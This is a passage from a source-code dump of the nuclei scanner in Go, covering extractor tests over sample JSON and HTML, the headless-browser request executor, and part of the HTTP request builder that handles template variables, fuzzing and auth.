&extractors.Extractor{\n\t\tType: extractors.ExtractorTypeHolder{ExtractorType: extractors.JSONExtractor},\n\t\tJSON: []string{\".api.version\"},\n\t}\n\terr := extractor.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tresult := request.Extract(data, extractor)\n\texpected := map[string]struct{}{\"1.0\": {}}\n\trequire.Equal(t, expected, result)\n\n\t// Test extracting all endpoint paths\n\textractor = &extractors.Extractor{\n\t\tType: extractors.ExtractorTypeHolder{ExtractorType: extractors.JSONExtractor},\n\t\tJSON: []string{\".api.endpoints[].path\"},\n\t}\n\terr = extractor.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tresult = request.Extract(data, extractor)\n\texpected = map[string]struct{}{\n\t\t\"/users\": {},\n\t\t\"/posts\": {},\n\t}\n\trequire.Equal(t, expected, result)\n\n\t// Test extracting all response codes\n\textractor = &extractors.Extractor{\n\t\tType: extractors.ExtractorTypeHolder{ExtractorType: extractors.JSONExtractor},\n\t\tJSON: []string{\".api.endpoints[].responses[].code\"},\n\t}\n\terr = extractor.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tresult = request.Extract(data, extractor)\n\texpected = map[string]struct{}{\n\t\t\"200\": {},\n\t\t\"404\": {},\n\t\t\"201\": {},\n\t\t\"400\": {},\n\t}\n\trequire.Equal(t, expected, result)\n\n\t// Test extracting response descriptions\n\textractor = &extractors.Extractor{\n\t\tType: extractors.ExtractorTypeHolder{ExtractorType: extractors.JSONExtractor},\n\t\tJSON: []string{\".api.endpoints[].responses[].description\"},\n\t}\n\terr = extractor.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tresult = request.Extract(data, extractor)\n\texpected = map[string]struct{}{\n\t\t\"Success\":     {},\n\t\t\"Not Found\":   {},\n\t\t\"Created\":     {},\n\t\t\"Bad Request\": {},\n\t}\n\trequire.Equal(t, expected, result)\n}\n\nfunc TestRequest_ExtractWithComplexHTML(t *testing.T) {\n\trequest := &Request{}\n\n\t// Test with complex HTML structure\n\thtmlContent := `<!doctype html>\n<html>\n<head>\n    <title>E-commerce Site</title>\n    <meta name=\"description\" content=\"Online shopping platform\">\n</head>\n<body>\n    <header>\n        <nav>\n            <ul class=\"nav-menu\">\n                <li><a href=\"/home\">Home</a></li>\n                <li><a href=\"/products\">Products</a></li>\n                <li><a href=\"/about\">About</a></li>\n            </ul>\n        </nav>\n    </header>\n    <main>\n        <section class=\"products\">\n            <h2>Featured Products</h2>\n            <div class=\"product-grid\">\n                <div class=\"product\" data-id=\"1\">\n                    <h3>Laptop</h3>\n                    <p class=\"price\">$999</p>\n                    <span class=\"rating\">4.5</span>\n                </div>\n                <div class=\"product\" data-id=\"2\">\n                    <h3>Phone</h3>\n                    <p class=\"price\">$599</p>\n                    <span class=\"rating\">4.2</span>\n                </div>\n                <div class=\"product\" data-id=\"3\">\n                    <h3>Tablet</h3>\n                    <p class=\"price\">$399</p>\n                    <span class=\"rating\">4.0</span>\n                </div>\n            </div>\n        </section>\n    </main>\n    <footer>\n        <p>&copy; 2024 E-commerce Site</p>\n    </footer>\n</body>\n</html>`\n\n\tdata := map[string]interface{}{\n\t\t\"data\": htmlContent,\n\t}\n\n\t// Test extracting navigation links\n\textractor := &extractors.Extractor{\n\t\tType:  extractors.ExtractorTypeHolder{ExtractorType: extractors.XPathExtractor},\n\t\tXPath: []string{\"/html/body/header/nav/ul/li/a\"},\n\t}\n\terr := extractor.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tresult := request.Extract(data, extractor)\n\texpected := map[string]struct{}{\n\t\t\"Home\":     {},\n\t\t\"Products\": {},\n\t\t\"About\":    {},\n\t}\n\trequire.Equal(t, expected, result)\n\n\t// Test extracting product names\n\textractor = &extractors.Extractor{\n\t\tType:  extractors.ExtractorTypeHolder{ExtractorType: extractors.XPathExtractor},\n\t\tXPath: []string{\"/html/body/main/section/div/div/h3\"},\n\t}\n\terr = extractor.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tresult = request.Extract(data, extractor)\n\texpected = map[string]struct{}{\n\t\t\"Laptop\": {},\n\t\t\"Phone\":  {},\n\t\t\"Tablet\": {},\n\t}\n\trequire.Equal(t, expected, result)\n\n\t// Test extracting product prices\n\textractor = &extractors.Extractor{\n\t\tType:  extractors.ExtractorTypeHolder{ExtractorType: extractors.XPathExtractor},\n\t\tXPath: []string{\"/html/body/main/section/div/div/p[@class='price']\"},\n\t}\n\terr = extractor.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tresult = request.Extract(data, extractor)\n\texpected = map[string]struct{}{\n\t\t\"$999\": {},\n\t\t\"$599\": {},\n\t\t\"$399\": {},\n\t}\n\trequire.Equal(t, expected, result)\n\n\t// Test extracting product ratings\n\textractor = &extractors.Extractor{\n\t\tType:  extractors.ExtractorTypeHolder{ExtractorType: extractors.XPathExtractor},\n\t\tXPath: []string{\"/html/body/main/section/div/div/span[@class='rating']\"},\n\t}\n\terr = extractor.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tresult = request.Extract(data, extractor)\n\texpected = map[string]struct{}{\n\t\t\"4.5\": {},\n\t\t\"4.2\": {},\n\t\t\"4.0\": {},\n\t}\n\trequire.Equal(t, expected, result)\n\n\t// Test extracting data attributes\n\textractor = &extractors.Extractor{\n\t\tType:      extractors.ExtractorTypeHolder{ExtractorType: extractors.XPathExtractor},\n\t\tXPath:     []string{\"/html/body/main/section/div/div[@class='product']\"},\n\t\tAttribute: \"data-id\",\n\t}\n\terr = extractor.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tresult = request.Extract(data, extractor)\n\texpected = map[string]struct{}{\n\t\t\"1\": {},\n\t\t\"2\": {},\n\t\t\"3\": {},\n\t}\n\trequire.Equal(t, expected, result)\n}\n"
  },
  {
    "path": "pkg/protocols/headless/request.go",
    "content": "package headless\n\nimport (\n\t\"fmt\"\n\t\"maps\"\n\t\"net/url\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\n\t\"github.com/pkg/errors\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/eventcreator\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/responsehighlighter\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless/engine\"\n\tprotocolutils \"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils\"\n\ttemplateTypes \"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\nvar _ protocols.Request = &Request{}\n\nconst errCouldNotGetHtmlElement = \"could not get html element\"\n\n// Type returns the type of the protocol request\nfunc (request *Request) Type() templateTypes.ProtocolType {\n\treturn templateTypes.HeadlessProtocol\n}\n\n// ExecuteWithResults executes the protocol requests and returns results instead of writing them.\nfunc (request *Request) ExecuteWithResults(input *contextargs.Context, metadata, previous output.InternalEvent, callback protocols.OutputEventCallback) error {\n\tif request.SelfContained {\n\t\turl, err := extractBaseURLFromActions(request.Steps)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tinput = contextargs.NewWithInput(input.Context(), url)\n\t}\n\n\tif request.options.Browser.UserAgent() == \"\" {\n\t\trequest.options.Browser.SetUserAgent(request.compiledUserAgent)\n\t}\n\n\tvars := protocolutils.GenerateVariablesWithContextArgs(input, false)\n\toptionVars := generators.BuildPayloadFromOptions(request.options.Options)\n\t// add templatecontext variables to varMap\n\tif request.options.HasTemplateCtx(input.MetaInput) {\n\t\tvars = generators.MergeMaps(vars, request.options.GetTemplateCtx(input.MetaInput).GetAll())\n\t}\n\n\tvariablesMap := request.options.Variables.Evaluate(vars)\n\tvars = generators.MergeMaps(vars, metadata, optionVars, variablesMap, request.options.Constants)\n\n\t// check for operator matches by wrapping callback\n\tgotmatches := false\n\twrappedCallback := func(results *output.InternalWrappedEvent) {\n\t\tcallback(results)\n\t\tif results != nil && results.OperatorsResult != nil {\n\t\t\tgotmatches = results.OperatorsResult.Matched\n\t\t}\n\t}\n\t// verify if fuzz elaboration was requested\n\tif len(request.Fuzzing) > 0 {\n\t\treturn request.executeFuzzingRule(input, vars, previous, wrappedCallback)\n\t}\n\tif request.generator != nil {\n\t\titerator := request.generator.NewIterator()\n\t\tfor {\n\t\t\tvalue, ok := iterator.Value()\n\t\t\tif !ok {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif gotmatches && (request.StopAtFirstMatch || request.options.Options.StopAtFirstMatch || request.options.StopAtFirstMatch) {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tvalue = generators.MergeMaps(value, vars)\n\t\t\tif err := request.executeRequestWithPayloads(input, value, previous, wrappedCallback); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t} else {\n\t\tvalue := maps.Clone(vars)\n\t\tif err := request.executeRequestWithPayloads(input, value, previous, wrappedCallback); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\n// This function extracts the base URL from actions.\nfunc extractBaseURLFromActions(steps []*engine.Action) (string, error) {\n\tfor _, action := range steps {\n\t\tif action.ActionType.ActionType == engine.ActionNavigate {\n\t\t\tnavigateURL := action.GetArg(\"url\")\n\t\t\turl, err := urlutil.Parse(navigateURL)\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", errors.Errorf(\"could not parse URL '%s': %s\", navigateURL, err.Error())\n\t\t\t}\n\t\t\treturn fmt.Sprintf(\"%s://%s\", url.Scheme, url.Host), nil\n\t\t}\n\t}\n\treturn \"\", errors.New(\"no navigation action found\")\n}\n\nfunc (request *Request) executeRequestWithPayloads(input *contextargs.Context, payloads map[string]interface{}, previous output.InternalEvent, callback protocols.OutputEventCallback) error {\n\tinstance, err := request.options.Browser.NewInstance()\n\tif err != nil {\n\t\trequest.options.Output.Request(request.options.TemplatePath, input.MetaInput.Input, request.Type().String(), err)\n\t\trequest.options.Progress.IncrementFailedRequestsBy(1)\n\t\treturn errors.Wrap(err, errCouldNotGetHtmlElement)\n\t}\n\tdefer func() {\n\t\t_ = instance.Close()\n\t}()\n\n\tinstance.SetInteractsh(request.options.Interactsh)\n\n\tif _, err := url.Parse(input.MetaInput.Input); err != nil {\n\t\trequest.options.Output.Request(request.options.TemplatePath, input.MetaInput.Input, request.Type().String(), err)\n\t\trequest.options.Progress.IncrementFailedRequestsBy(1)\n\t\treturn errors.Wrap(err, errCouldNotGetHtmlElement)\n\t}\n\toptions := &engine.Options{\n\t\tTimeout:       time.Duration(request.options.Options.PageTimeout) * time.Second,\n\t\tDisableCookie: request.DisableCookie,\n\t\tOptions:       request.options.Options,\n\t}\n\n\tif !options.DisableCookie && input.CookieJar == nil {\n\t\treturn errors.New(\"cookie reuse enabled but cookie-jar is nil\")\n\t}\n\n\tout, page, err := instance.Run(input, request.Steps, payloads, options)\n\tif err != nil {\n\t\trequest.options.Output.Request(request.options.TemplatePath, input.MetaInput.Input, request.Type().String(), err)\n\t\trequest.options.Progress.IncrementFailedRequestsBy(1)\n\t\treturn errors.Wrap(err, errCouldNotGetHtmlElement)\n\t}\n\tdefer page.Close()\n\n\treqLog := instance.GetRequestLog()\n\tnavigatedURL := request.getLastNavigationURLWithLog(reqLog) // also known as matchedURL if there is a match\n\n\trequest.options.Output.Request(request.options.TemplatePath, input.MetaInput.Input, request.Type().String(), nil)\n\trequest.options.Progress.IncrementRequests()\n\tgologger.Verbose().Msgf(\"Sent Headless request to %s\", navigatedURL)\n\n\treqBuilder := &strings.Builder{}\n\tif request.options.Options.Debug || request.options.Options.DebugRequests || request.options.Options.DebugResponse {\n\t\tgologger.Info().Msgf(\"[%s] Dumped Headless request for %s\", request.options.TemplateID, navigatedURL)\n\n\t\tfor _, act := range request.Steps {\n\t\t\tif act.ActionType.ActionType == engine.ActionNavigate {\n\t\t\t\tvalue := act.GetArg(\"url\")\n\t\t\t\tif reqLog[value] != \"\" {\n\t\t\t\t\t_, _ = fmt.Fprintf(reqBuilder, \"\\tnavigate => %v\\n\", reqLog[value])\n\t\t\t\t} else {\n\t\t\t\t\t_, _ = fmt.Fprintf(reqBuilder, \"%v not found in %v\\n\", value, reqLog)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tactStepStr := act.String()\n\t\t\t\t_, _ = fmt.Fprintf(reqBuilder, \"\\t%s\\n\", actStepStr)\n\t\t\t}\n\t\t}\n\t\tgologger.Debug().Msg(reqBuilder.String())\n\t}\n\n\tvar responseBody string\n\thtml, err := page.Page().Element(\"html\")\n\tif err == nil {\n\t\tresponseBody, _ = html.HTML()\n\t}\n\n\theader := out.GetOrDefault(\"header\", \"\").(string)\n\n\t// NOTE(dwisiswant0): `status_code` key should be an integer type.\n\t// Ref: https://github.com/projectdiscovery/nuclei/pull/5545#discussion_r1721291013\n\tstatusCode := out.GetOrDefault(\"status_code\", \"\").(string)\n\n\toutputEvent := request.responseToDSLMap(responseBody, header, statusCode, reqBuilder.String(), input.MetaInput.Input, navigatedURL, page.DumpHistory())\n\t// add response fields to template context and merge templatectx variables to output event\n\trequest.options.AddTemplateVars(input.MetaInput, request.Type(), request.ID, outputEvent)\n\tif request.options.HasTemplateCtx(input.MetaInput) {\n\t\toutputEvent = generators.MergeMaps(outputEvent, request.options.GetTemplateCtx(input.MetaInput).GetAll())\n\t}\n\n\tmaps.Copy(outputEvent, out)\n\tmaps.Copy(outputEvent, payloads)\n\n\tvar event *output.InternalWrappedEvent\n\tif len(page.InteractshURLs) == 0 {\n\t\tevent = eventcreator.CreateEvent(request, outputEvent, request.options.Options.Debug || request.options.Options.DebugResponse)\n\t\tcallback(event)\n\t} else if request.options.Interactsh != nil {\n\t\tevent = &output.InternalWrappedEvent{InternalEvent: outputEvent}\n\t\trequest.options.Interactsh.RequestEvent(page.InteractshURLs, &interactsh.RequestData{\n\t\t\tMakeResultFunc: request.MakeResultEvent,\n\t\t\tEvent:          event,\n\t\t\tOperators:      request.CompiledOperators,\n\t\t\tMatchFunc:      request.Match,\n\t\t\tExtractFunc:    request.Extract,\n\t\t})\n\t}\n\tif len(page.InteractshURLs) > 0 {\n\t\tevent.UsesInteractsh = true\n\t}\n\n\tdumpResponse(event, request.options, responseBody, input.MetaInput.Input)\n\tshouldStopAtFirstMatch := request.StopAtFirstMatch || request.options.StopAtFirstMatch || request.options.Options.StopAtFirstMatch\n\tif shouldStopAtFirstMatch && event.HasOperatorResult() {\n\t\treturn types.ErrNoMoreRequests\n\t}\n\treturn nil\n}\n\nfunc dumpResponse(event *output.InternalWrappedEvent, requestOptions *protocols.ExecutorOptions, responseBody string, input string) {\n\tif requestOptions.Options.Debug || requestOptions.Options.DebugResponse || requestOptions.Options.StoreResponse {\n\t\tmsg := fmt.Sprintf(\"[%s] Dumped Headless response for %s\\n\\n\", requestOptions.TemplateID, input)\n\t\tif requestOptions.Options.Debug || requestOptions.Options.DebugResponse {\n\t\t\tresp := responsehighlighter.Highlight(event.OperatorsResult, responseBody, requestOptions.Options.NoColor, false)\n\t\t\tgologger.Debug().Msgf(\"%s%s\", msg, resp)\n\t\t}\n\t\tif requestOptions.Options.StoreResponse {\n\t\t\trequestOptions.Output.WriteStoreDebugData(input, requestOptions.TemplateID, \"headless\", fmt.Sprintf(\"%s%s\", msg, responseBody))\n\t\t}\n\t}\n}\n\n// executeFuzzingRule executes a fuzzing rule in the template request\nfunc (request *Request) executeFuzzingRule(input *contextargs.Context, payloads map[string]interface{}, previous output.InternalEvent, callback protocols.OutputEventCallback) error {\n\t// check for operator matches by wrapping callback\n\tgotmatches := false\n\tfuzzRequestCallback := func(gr fuzz.GeneratedRequest) bool {\n\t\tif gotmatches && (request.StopAtFirstMatch || request.options.Options.StopAtFirstMatch || request.options.StopAtFirstMatch) {\n\t\t\treturn true\n\t\t}\n\t\tnewInput := input.Clone()\n\t\tnewInput.MetaInput.Input = gr.Request.String()\n\t\tif err := request.executeRequestWithPayloads(newInput, gr.DynamicValues, previous, callback); err != nil {\n\t\t\treturn false\n\t\t}\n\t\treturn true\n\t}\n\n\tif _, err := urlutil.Parse(input.MetaInput.Input); err != nil {\n\t\treturn errors.Wrap(err, \"could not parse url\")\n\t}\n\tbaseRequest, err := retryablehttp.NewRequest(\"GET\", input.MetaInput.Input, nil)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not create base request\")\n\t}\n\tfor _, rule := range request.Fuzzing {\n\t\terr := rule.Execute(&fuzz.ExecuteRuleInput{\n\t\t\tInput:       input,\n\t\t\tCallback:    fuzzRequestCallback,\n\t\t\tValues:      payloads,\n\t\t\tBaseRequest: baseRequest,\n\t\t})\n\t\tif err == types.ErrNoMoreRequests {\n\t\t\treturn nil\n\t\t}\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not execute rule\")\n\t\t}\n\t}\n\treturn nil\n}\n\n// getLastNavigationURLWithLog returns last successfully navigated URL\nfunc (request *Request) getLastNavigationURLWithLog(reqLog map[string]string) string {\n\tfor i := len(request.Steps) - 1; i >= 0; i-- {\n\t\tif request.Steps[i].ActionType.ActionType == engine.ActionNavigate {\n\t\t\ttemplateURL := request.Steps[i].GetArg(\"url\")\n\t\t\tif reqLog[templateURL] != \"\" {\n\t\t\t\treturn reqLog[templateURL]\n\t\t\t}\n\t\t}\n\t}\n\treturn \"\"\n}\n"
  },
  {
    "path": "pkg/protocols/http/build_request.go",
    "content": "package http\n\nimport (\n\t\"bufio\"\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/useragent\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/authprovider\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/expressions\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/race\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/raw\"\n\tprotocolutils \"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils\"\n\thttputil \"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils/http\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types/scanstrategy\"\n\t\"github.com/projectdiscovery/rawhttp\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\nconst (\n\tReqURLPatternKey = \"req_url_pattern\"\n)\n\n// ErrEvalExpression\ntype errorTemplate struct {\n\tformat string\n}\n\nfunc (e errorTemplate) Wrap(err error) wrapperError {\n\treturn wrapperError{template: e, err: err}\n}\n\nfunc (e errorTemplate) Msgf(args ...interface{}) error {\n\treturn errkit.Newf(e.format, args...)\n}\n\ntype wrapperError struct {\n\ttemplate errorTemplate\n\terr      error\n}\n\nfunc (w wrapperError) WithTag(tag string) error {\n\treturn errkit.Wrap(w.err, w.template.format)\n}\n\nfunc (w wrapperError) Msgf(format string, args ...interface{}) error {\n\treturn errkit.Wrapf(w.err, format, args...)\n}\n\nfunc (w wrapperError) Error() string {\n\treturn errkit.Wrap(w.err, w.template.format).Error()\n}\n\n// ErrEvalExpression\nvar (\n\tErrEvalExpression = errorTemplate{\"could not evaluate helper expressions\"}\n\tErrUnresolvedVars = errorTemplate{\"unresolved variables `%v` found in request\"}\n)\n\n// generatedRequest is a single generated request wrapped for a template request\ntype generatedRequest struct {\n\toriginal             *Request\n\trawRequest           *raw.Request\n\tmeta                 map[string]interface{}\n\tpipelinedClient      *rawhttp.PipelineClient\n\trequest              *retryablehttp.Request\n\tdynamicValues        map[string]interface{}\n\tinteractshURLs       []string\n\tcustomCancelFunction context.CancelFunc\n\t// requestURLPattern tracks unmodified request url pattern without values ( it is used for constant vuln_hash)\n\t// ex: {{BaseURL}}/api/exp?param={{randstr}}\n\trequestURLPattern string\n\n\tfuzzGeneratedRequest fuzz.GeneratedRequest\n}\n\n// setReqURLPattern sets the url request pattern for the generated request\nfunc (gr *generatedRequest) setReqURLPattern(reqURLPattern string) {\n\tif idx := strings.IndexByte(reqURLPattern, '\\n'); idx >= 0 {\n\t\treqURLPattern = strings.TrimSpace(reqURLPattern[:idx])\n\t\t// this is raw request (if it has 3 parts after strings.Fields then its valid only use 2nd part)\n\t\tparts := strings.Fields(reqURLPattern)\n\t\tif len(parts) >= 3 {\n\t\t\t// remove first and last and use all in between\n\t\t\tparts = parts[1 : len(parts)-1]\n\t\t\treqURLPattern = strings.Join(parts, \" \")\n\t\t}\n\t} else {\n\t\treqURLPattern = strings.TrimSpace(reqURLPattern)\n\t}\n\n\t// now urlRequestPattern is generated replace preprocessor values with actual placeholders\n\t// that were used (these are called generated 'constants' and contains {{}} in var name)\n\tfor k, v := range gr.original.options.Constants {\n\t\tif strings.HasPrefix(k, \"{{\") && strings.HasSuffix(k, \"}}\") {\n\t\t\t// this takes care of all preprocessors ( currently we have randstr and its variations)\n\t\t\treqURLPattern = strings.ReplaceAll(reqURLPattern, fmt.Sprint(v), k)\n\t\t}\n\t}\n\tgr.requestURLPattern = reqURLPattern\n}\n\n// ApplyAuth applies the auth provider to the generated request\nfunc (g *generatedRequest) ApplyAuth(provider authprovider.AuthProvider) {\n\tif provider == nil {\n\t\treturn\n\t}\n\tif g.request != nil {\n\t\tauthStrategies := provider.LookupURLX(g.request.URL)\n\t\tfor _, strategy := range authStrategies {\n\t\t\tstrategy.ApplyOnRR(g.request)\n\t\t}\n\t}\n\tif g.rawRequest != nil {\n\t\tparsed, err := urlutil.ParseAbsoluteURL(g.rawRequest.FullURL, true)\n\t\tif err != nil {\n\t\t\tgologger.Warning().Msgf(\"[authprovider] Could not parse URL %s: %s\\n\", g.rawRequest.FullURL, err)\n\t\t\treturn\n\t\t}\n\t\tauthStrategies := provider.LookupURLX(parsed)\n\t\t// here we need to apply it custom because we don't have a standard/official\n\t\t// rawhttp request format ( which we probably should have )\n\t\tfor _, strategy := range authStrategies {\n\t\t\tg.rawRequest.ApplyAuthStrategy(strategy)\n\t\t}\n\t}\n}\n\nfunc (g *generatedRequest) URL() string {\n\tif g.request != nil {\n\t\treturn g.request.String()\n\t}\n\tif g.rawRequest != nil {\n\t\treturn g.rawRequest.FullURL\n\t}\n\treturn \"\"\n}\n\n// Make creates a http request for the provided input.\n// It returns ErrNoMoreRequests as error when all the requests have been exhausted.\nfunc (r *requestGenerator) Make(ctx context.Context, input *contextargs.Context, reqData string, payloads, dynamicValues map[string]interface{}) (gr *generatedRequest, err error) {\n\torigReqData := reqData\n\tdefer func() {\n\t\tif gr != nil {\n\t\t\tgr.setReqURLPattern(origReqData)\n\t\t}\n\t}()\n\t// value of `reqData` depends on the type of request specified in template\n\t// 1. If request is raw request =  reqData contains raw request (i.e http request dump)\n\t// 2. If request is Normal ( simply put not a raw request) (Ex: with placeholders `path`) = reqData contains relative path\n\n\t// add template context values to dynamicValues (this takes care of self-contained and other types of requests)\n\t// Note: `iterate-all` and flow are mutually exclusive. flow uses templateCtx and iterate-all uses dynamicValues\n\tif r.request.options.HasTemplateCtx(input.MetaInput) {\n\t\t// skip creating template context if not available\n\t\tdynamicValues = generators.MergeMaps(dynamicValues, r.request.options.GetTemplateCtx(input.MetaInput).GetAll())\n\t}\n\n\tisRawRequest := len(r.request.Raw) > 0\n\t// replace interactsh variables with actual interactsh urls\n\tif r.options.Interactsh != nil {\n\t\treqData, r.interactshURLs = r.options.Interactsh.Replace(reqData, []string{})\n\t\tfor payloadName, payloadValue := range payloads {\n\t\t\tpayloads[payloadName], r.interactshURLs = r.options.Interactsh.Replace(types.ToString(payloadValue), r.interactshURLs)\n\t\t}\n\t} else {\n\t\tfor payloadName, payloadValue := range payloads {\n\t\t\tpayloads[payloadName] = types.ToStringNSlice(payloadValue)\n\t\t}\n\t}\n\n\tif r.request.SelfContained {\n\t\treturn r.makeSelfContainedRequest(ctx, reqData, payloads, dynamicValues)\n\t}\n\n\t// Parse target url\n\tparsed, err := urlutil.ParseAbsoluteURL(input.MetaInput.Input, false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Non-Raw Requests ex `{{BaseURL}}/somepath` may or maynot have slash after variable and the same is the case for\n\t// target url to avoid inconsistencies extra slash if exists has to removed from default variables\n\thasTrailingSlash := false\n\tif !isRawRequest {\n\t\t// if path contains port ex: {{BaseURL}}:8080 use port specified in reqData\n\t\tparsed, reqData = httputil.UpdateURLPortFromPayload(parsed, reqData)\n\t\thasTrailingSlash = httputil.HasTrailingSlash(reqData)\n\t}\n\n\t// defaultreqvars are vars generated from request/input ex: {{baseURL}}, {{Host}} etc\n\t// contextargs generate extra vars that may/may not be available always (ex: \"ip\")\n\tdefaultReqVars := protocolutils.GenerateVariables(parsed, hasTrailingSlash, contextargs.GenerateVariables(input))\n\t// optionvars are vars passed from CLI or env variables\n\toptionVars := generators.BuildPayloadFromOptions(r.request.options.Options)\n\n\tvariablesMap, interactURLs := r.options.Variables.EvaluateWithInteractsh(generators.MergeMaps(dynamicValues, defaultReqVars, optionVars), r.options.Interactsh)\n\tif len(interactURLs) > 0 {\n\t\tr.interactshURLs = append(r.interactshURLs, interactURLs...)\n\t}\n\t// allVars contains all variables from all sources\n\tallVars := generators.MergeMaps(dynamicValues, defaultReqVars, optionVars, variablesMap, r.options.Constants)\n\n\t// Evaluate payload variables\n\t// eg: payload variables can be username: jon.doe@{{Hostname}}\n\tfor payloadName, payloadValue := range payloads {\n\t\tpayloads[payloadName], err = expressions.Evaluate(types.ToString(payloadValue), allVars)\n\t\tif err != nil {\n\t\t\treturn nil, errkit.Wrap(err, \"could not evaluate helper expressions\")\n\t\t}\n\t}\n\t// finalVars contains allVars and any generator/fuzzing specific payloads\n\t// payloads used in generator should be given the most preference\n\tfinalVars := generators.MergeMaps(allVars, payloads)\n\n\tif vardump.EnableVarDump {\n\t\tgologger.Debug().Msgf(\"HTTP Protocol request variables: %s\\n\", vardump.DumpVariables(finalVars))\n\t}\n\n\t// Note: If possible any changes to current logic (i.e evaluate -> then parse URL)\n\t// should be avoided since it is dependent on `urlutil` core logic\n\n\t// Evaluate (replace) variable with final values\n\treqData, err = expressions.Evaluate(reqData, finalVars)\n\tif err != nil {\n\t\treturn nil, errkit.Wrap(err, \"could not evaluate helper expressions\")\n\t}\n\n\tif isRawRequest {\n\t\treturn r.generateRawRequest(ctx, reqData, parsed, finalVars, payloads)\n\t}\n\n\treqURL, err := urlutil.ParseAbsoluteURL(reqData, true)\n\tif err != nil {\n\t\treturn nil, errkit.Newf(\"failed to parse url %v while creating http request\", reqData)\n\t}\n\t// while merging parameters first preference is given to target params\n\tfinalparams := parsed.Params\n\tfinalparams.Merge(reqURL.Params.Encode())\n\treqURL.Params = finalparams\n\treturn r.generateHttpRequest(ctx, reqURL, finalVars, payloads)\n}\n\n// selfContained templates do not need/use target data and all values i.e {{Hostname}} , {{BaseURL}} etc are already available\n// in template . makeSelfContainedRequest parses and creates variables map and then creates corresponding http request or raw request\nfunc (r *requestGenerator) makeSelfContainedRequest(ctx context.Context, data string, payloads, dynamicValues map[string]interface{}) (*generatedRequest, error) {\n\tisRawRequest := r.request.isRaw()\n\n\tvalues := generators.MergeMaps(\n\t\tgenerators.BuildPayloadFromOptions(r.request.options.Options),\n\t\tdynamicValues,\n\t\tpayloads, // payloads should override other variables in case of duplicate vars\n\t)\n\t// adds all variables from `variables` section in template\n\tvariablesMap := r.request.options.Variables.Evaluate(values)\n\tvalues = generators.MergeMaps(variablesMap, values)\n\n\tsignerVars := GetDefaultSignerVars(r.request.Signature.Value)\n\t// this will ensure that default signer variables are overwritten by other variables\n\tvalues = generators.MergeMaps(signerVars, values, r.options.Constants)\n\n\t// priority of variables is as follows (from low to high) for self contained templates\n\t// default signer vars < variables <  cli vars  < payload < dynamic values < constants\n\n\t// evaluate request\n\tdata, err := expressions.Evaluate(data, values)\n\tif err != nil {\n\t\treturn nil, errkit.Wrap(err, \"could not evaluate helper expressions\")\n\t}\n\t// If the request is a raw request, get the URL from the request\n\t// header and use it to make the request.\n\tif isRawRequest {\n\t\t// Get the hostname from the URL section to build the request.\n\t\treader := bufio.NewReader(strings.NewReader(data))\n\tread_line:\n\t\ts, err := reader.ReadString('\\n')\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"could not read request: %w\", err)\n\t\t}\n\t\t// ignore all annotations\n\t\tif stringsutil.HasPrefixAny(s, \"@\") {\n\t\t\tgoto read_line\n\t\t}\n\n\t\tparts := strings.Split(s, \" \")\n\t\tif len(parts) < 3 {\n\t\t\treturn nil, fmt.Errorf(\"malformed request supplied\")\n\t\t}\n\n\t\tif err := expressions.ContainsUnresolvedVariables(parts[1]); err != 